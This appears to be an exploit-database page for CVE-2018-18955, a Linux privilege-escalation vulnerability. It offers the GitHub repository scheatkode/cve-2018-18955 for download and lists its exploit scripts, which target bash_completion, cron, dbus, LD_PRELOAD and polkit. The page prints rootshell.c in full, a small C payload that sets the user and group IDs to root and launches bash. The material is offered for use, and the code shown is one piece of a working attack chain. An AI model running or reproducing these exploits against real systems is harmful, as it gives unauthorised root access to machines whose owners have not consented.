Exploit databaseDownload repository ZIP
GH-1867c8a02fb6da65dd4feb6a573922ee
scheatkode/cve-2018-18955
Sources for CVE-2018-18955
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files11
scheatkode/cve-2018-18955Revision da66cdc61c6b
- .github/
- README.md
- exploit.bash_completion.sh
- exploit.cron.sh
- exploit.dbus.sh
- exploit.ldpreload.sh
- exploit.polkit.sh
- libsubuid.c
- rootshell.c
- subshell.c
- subuid_shell.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
rootshell.c
C · 147 bytes#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}